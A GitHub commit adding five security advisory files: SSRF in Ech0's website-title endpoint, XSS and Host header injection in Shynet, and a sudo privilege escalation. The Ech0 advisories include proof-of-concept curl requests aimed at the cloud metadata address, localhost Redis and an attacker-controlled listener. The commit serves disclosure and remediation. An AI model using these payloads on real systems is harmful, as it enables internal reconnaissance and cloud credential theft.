Skip to content

Commit 2aa98d0

Browse files
1 parent 75ea297 commit 2aa98d0

5 files changed

Lines changed: 242 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cqgf-f4x7-g6wc",
4+
"modified": "2026-04-03T03:33:00Z",
5+
"published": "2026-04-03T03:33:00Z",
6+
"aliases": [
7+
"CVE-2026-35037"
8+
],
9+
"summary": "Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata",
10+
"details": "## Summary\n\nThe `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `<title>` tag extraction.\n\n## Details\n\nThe vulnerability exists in the interaction between four components:\n\n**1. Route registration — no authentication** (`internal/router/common.go:11`):\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/website/title\", h.CommonHandler.GetWebsiteTitle())\n```\nThe `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group(\"/api\")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`).\n\n**2. Handler — no input validation** (`internal/handler/common/common.go:106-127`):\n```go\nfunc (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {\n return res.Execute(func(ctx *gin.Context) res.Response {\n var dto commonModel.GetWebsiteTitleDto\n if err := ctx.ShouldBindQuery(&dto); err != nil { ... }\n title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)\n ...\n })\n}\n```\nThe DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:\"required\"` — no URL scheme or host validation.\n\n**3. Service — TrimURL is cosmetic** (`internal/service/common/common.go:122-125`):\n```go\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n websiteURL = httpUtil.TrimURL(websiteURL)\n body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n ...\n}\n```\n`TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix(\"/\")`, and `TrimSuffix(\"/\")`. No SSRF protections.\n\n**4. HTTP client — unrestricted outbound request** (`internal/util/http/http.go:53-84`):\n```go\nclient := &http.Client{\n Timeout: clientTimeout,\n Transport: &http.Transport{\n TLSClientConfig: &tls.Config{\n InsecureSkipVerify: true,\n },\n },\n}\nreq, err := http.NewRequest(method, url, nil)\n...\nresp, err := client.Do(req)\n```\nThe client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.\n\nThe response body is parsed for `<title>` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.\n\n## PoC\n\n**Step 1: Probe cloud metadata endpoint (AWS)**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'\n```\nIf the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.\n\n**Step 2: Probe internal localhost services**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'\n```\nProbes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.\n\n**Step 3: Exfiltrate data from internal web services with HTML title tags**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'\n```\nIf the internal service returns an HTML page with a `<title>` tag, its content is returned to the attacker.\n\n**Step 4: Confirm with a controlled external server**\n```bash\n# On attacker machine:\npython3 -c \"from http.server import HTTPServer, BaseHTTPRequestHandler\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header('Content-Type','text/html')\n self.end_headers()\n self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')\nHTTPServer(('0.0.0.0',9999),H).serve_forever()\" &\n\n# From any client:\ncurl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'\n```\nExpected response contains `\"data\":\"SSRF-CONFIRMED\"`, proving the server made an outbound request to the attacker-controlled URL.\n\n## Impact\n\n- **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.\n- **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.\n- **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security.\n- **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.\n- **Data exfiltration**: Partial response content is leaked through the `<title>` tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.\n\nThe attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.\n\n## Recommended Fix\n\nAdd URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`:\n\n```go\nimport (\n \"net\"\n \"net/url\"\n)\n\nfunc isPrivateIP(ip net.IP) bool {\n privateRanges := []string{\n \"127.0.0.0/8\",\n \"10.0.0.0/8\",\n \"172.16.0.0/12\",\n \"192.168.0.0/16\",\n \"169.254.0.0/16\",\n \"::1/128\",\n \"fc00::/7\",\n \"fe80::/10\",\n }\n for _, cidr := range privateRanges {\n _, network, _ := net.ParseCIDR(cidr)\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n websiteURL = httpUtil.TrimURL(websiteURL)\n\n // Validate URL scheme\n parsed, err := url.Parse(websiteURL)\n if err != nil || (parsed.Scheme != \"http\" && parsed.Scheme != \"https\") {\n return \"\", errors.New(\"only http and https URLs are allowed\")\n }\n\n // Resolve hostname and block private IPs\n host := parsed.Hostname()\n ips, err := net.LookupIP(host)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to resolve hostname: %w\", err)\n }\n for _, ip := range ips {\n if isPrivateIP(ip) {\n return \"\", errors.New(\"requests to private/internal addresses are not allowed\")\n }\n }\n\n body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n // ... rest unchanged\n}\n```\n\nAdditionally, consider:\n1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69`\n2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding\n3. Adding rate limiting to this endpoint",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/lin-snow/ech0"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.8-0.20260401031029-4ca56fea5ba4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/lin-snow/Ech0"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-918"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-03T03:33:00Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wc4h-2348-jc3p",
4+
"modified": "2026-04-03T03:30:53Z",
5+
"published": "2026-04-03T03:30:53Z",
6+
"aliases": [
7+
"CVE-2026-35036"
8+
],
9+
"summary": "Ech0 has Unauthenticated Server-Side Request Forgery in Website Preview Feature",
10+
"details": "### Summary\n\nEch0 implements **link preview** (editor fetches a page title) through **`GET /api/website/title`**. That is **legitimate product behavior**, but the implementation is **unsafe**: the route is **unauthenticated**, accepts a **fully attacker-controlled URL**, performs a **server-side GET**, reads the **entire response body** into memory (`io.ReadAll`). There is **no** host allowlist, **no** SSRF filter, and **`InsecureSkipVerify: true`** on the outbound client.\n\n**Attacker outcome :** Anyone who can reach the instance can **force the Ech0 server** to open **HTTP/HTTPS URLs of their choice** as seen from the **server’s network position** (Docker bridge, VPC, localhost from the process view). \nGo’s default `http.Client` **follows redirects** (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in `SendRequest`.\n\n### Affected Components\n\n**Ech0 codebase:**\n\n- `internal/handler/common/common.go` \n Handles the `/api/website/title` endpoint and accepts user-controlled URL input.\n\n- `internal/service/common/common.go` \n Processes the request and invokes the outbound HTTP fetch (`GetWebsiteTitle`).\n\n- `internal/util/http/http.go` \n Performs the HTTP request (`SendRequest`) with the following insecure configurations:\n - No URL validation or allowlist\n - Redirects enabled (default client behavior)\n - `InsecureSkipVerify: true`\n\n### PoC \n\n**Environment:** Ech0 listening on `http://127.0.0.1:6277` (e.g. Docker image `sn0wl1n/ech0:latest`). No cookies or `Authorization` header.\n\n**Step 1 — baseline: unauthenticated server-side fetch (public URL):**\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=https://example.com\"\n```\n\n**Observed result (verified):** HTTP 200, JSON with `code: 1` and `data` **`Example Domain`** — proves the **Ech0 process** performed an outbound GET without any client auth.\n\n**Step 2 — impact: host-bound page + recorded leak (repo PoC file)**\nCommitted PoC page: **`poc_ssrf_proof.html`** \n\n1. From **`poc file directory`**, listen on **0.0.0.0** (port **9999**):\n\n```bash\npython -m http.server 9999 --bind 0.0.0.0\n```\n\n2. **Docker Desktop (Windows / macOS):** Ech0 in Docker fetches the host via `host.docker.internal`:\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=http://host.docker.internal:9999/poc_ssrf_proof.html\"\n```\n\n**Recorded response (verified this workspace, Ech0 4.2.2 in Docker):**\n\n```json\n{\"code\":1,\"msg\":\"获取网站标题成功\",\"data\":\"ECH0_SSRF_POC_LEAK_2026\"}\n```\n\n**Python server log:** `GET /poc_ssrf_proof.html` → **200** (proves the **server/container** pulled the page from your host).\n\n**Leak channel:** the backend **reads the full HTML body** before parsing (see `io.ReadAll` in `SendRequest`).\n\n\n### Impact\n\n- **Verified:** Unauthenticated callers can make the Ech0 process issue **server-side HTTP(S) requests** to **internal/reserved targets** reachable from that process (PoC Step 2: host-reachable listener reflected in JSON).\n- **Code-level:** The full response is **read into memory** (`io.ReadAll`); only the title string is returned. Combined with **default HTTP redirect following** (standard `http.Client` behavior; not disabled here), the effective request graph is larger than a single URL.\n- **TLS:** `InsecureSkipVerify: true` means **misissued or intercepted TLS** to internal HTTPS services is still accepted from the server’s perspective.\n- **Deployment-dependent:** Where routing allows (typical cloud VMs), **`169.254.169.254`-class** endpoints are in scope for the **same code path**; treat as **high*.\n- **DOS(Denial of Service)**: reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.\n\n\n## Remediation\n\n- Enforce **SSRF-safe URL policy**: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required.\n- Remove **`InsecureSkipVerify`**; use normal TLS verification.\n- **Limit redirects** (disable or cap hops; re-validate each target).\n- Add **response size / timeout** limits; optionally restrict egress at the **network** layer.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/lin-snow/ech0"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.8-0.20260401031029-4ca56fea5ba4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-wc4h-2348-jc3p"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/lin-snow/Ech0"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-918"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-03T03:30:53Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-92xp-7pvg-5vqp",
4+
"modified": "2026-04-03T03:31:01Z",
5+
"published": "2026-04-03T03:31:01Z",
6+
"aliases": [
7+
"CVE-2026-35508"
8+
],
9+
"details": "Shynet before 0.14.0 allows XSS in urldisplay and iconify template filters,",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"
14+
}
15+
],
16+
"affected": [],
17+
"references": [
18+
{
19+
"type": "ADVISORY",
20+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35508"
21+
},
22+
{
23+
"type": "WEB",
24+
"url": "https://github.com/milesmcc/shynet/pull/344"
25+
},
26+
{
27+
"type": "WEB",
28+
"url": "https://github.com/milesmcc/shynet/releases/tag/v0.14.0"
29+
}
30+
],
31+
"database_specific": {
32+
"cwe_ids": [
33+
"CWE-79"
34+
],
35+
"severity": "MODERATE",
36+
"github_reviewed": false,
37+
"github_reviewed_at": null,
38+
"nvd_published_at": "2026-04-03T02:16:15Z"
39+
}
40+
}
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g5fc-f834-rcr2",
4+
"modified": "2026-04-03T03:31:02Z",
5+
"published": "2026-04-03T03:31:02Z",
6+
"aliases": [
7+
"CVE-2026-35535"
8+
],
9+
"details": "In Sudo through 1.9.17p2 before 3e474c2, a failure of a setuid, setgid, or setgroups call, during a privilege drop before running the mailer, is not a fatal error and can lead to privilege escalation.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
14+
}
15+
],
16+
"affected": [],
17+
"references": [
18+
{
19+
"type": "ADVISORY",
20+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35535"
21+
},
22+
{
23+
"type": "WEB",
24+
"url": "https://github.com/sudo-project/sudo/commit/3e474c2f201484be83d994ae10a4e20e8c81bb69"
25+
},
26+
{
27+
"type": "WEB",
28+
"url": "https://bugs.debian.org/1130593"
29+
},
30+
{
31+
"type": "WEB",
32+
"url": "https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/2143042"
33+
},
34+
{
35+
"type": "WEB",
36+
"url": "https://www.qualys.com/2026/03/10/crack-armor.txt"
37+
}
38+
],
39+
"database_specific": {
40+
"cwe_ids": [
41+
"CWE-271"
42+
],
43+
"severity": "HIGH",
44+
"github_reviewed": false,
45+
"github_reviewed_at": null,
46+
"nvd_published_at": "2026-04-03T03:16:18Z"
47+
}
48+
}
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hvm7-86pv-v2p2",
4+
"modified": "2026-04-03T03:31:01Z",
5+
"published": "2026-04-03T03:31:01Z",
6+
"aliases": [
7+
"CVE-2026-35507"
8+
],
9+
"details": "Shynet before 0.14.0 allows Host header injection in the password reset flow.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:L"
14+
}
15+
],
16+
"affected": [],
17+
"references": [
18+
{
19+
"type": "ADVISORY",
20+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35507"
21+
},
22+
{
23+
"type": "WEB",
24+
"url": "https://github.com/milesmcc/shynet/pull/345"
25+
},
26+
{
27+
"type": "WEB",
28+
"url": "https://github.com/milesmcc/shynet/releases/tag/v0.14.0"
29+
}
30+
],
31+
"database_specific": {
32+
"cwe_ids": [
33+
"CWE-348"
34+
],
35+
"severity": "MODERATE",
36+
"github_reviewed": false,
37+
"github_reviewed_at": null,
38+
"nvd_published_at": "2026-04-03T02:16:15Z"
39+
}
40+
}

0 commit comments

Comments
 (0)